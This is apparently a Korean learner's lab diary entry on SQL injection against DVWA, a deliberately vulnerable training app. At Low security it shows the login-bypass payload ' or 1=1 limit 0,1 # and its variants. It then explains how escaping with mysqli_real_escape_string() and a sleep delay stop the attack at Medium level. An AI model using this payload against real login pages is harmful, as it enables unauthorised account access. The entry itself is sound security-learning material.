📘 Day 7 (2025.10.02.THU) - SQL Injection 공격 (DVWA)

🔓 DVWA Security - Low
  • 계정: admin / password 로그인
  • 공격 방식: SQL 구문에 ' or 1=1 삽입

GET 방식 로그인 시도

SQL Injection Low Security
’ or 1=1 limit 0,1 #

→ 비밀번호 공백 처리 후 로그인 성공

쿼리 동작 방식:

$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"
  • $user’ or 1=1 limit 0,1 # 삽입
  • $pass# (주석 처리)
  • 조건을 무력화하고 첫 번째 계정으로 로그인됨
SQL Injection 결과 1

다른 인덱스 시도:

’ or 1=1 limit 1,1 #
SQL Injection 결과 2
’ or 1=1 limit 2,1 #
SQL Injection 결과 3
🛡️ DVWA Security - Medium

동일한 페이로드 시도:

’ or 1=1 limit 0,1 #

→ 로그인 실패, 로딩만 진행됨

SQL Injection Medium Security

보안 적용 확인

  • 코드에서 mysqli_real_escape_string() 적용
  • 특수문자 앞에 \가 자동 삽입되어 SQL Injection 방어
mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user)

즉, ' 문자가 문자열 시작/종료로 해석되지 않고 단순 문자열로 처리됨.

추가적으로 실패 시 sleep(2); 적용 → 응답 시간을 2초간 늦추어 brute force 공격(무차별대입공격)을 지연시킴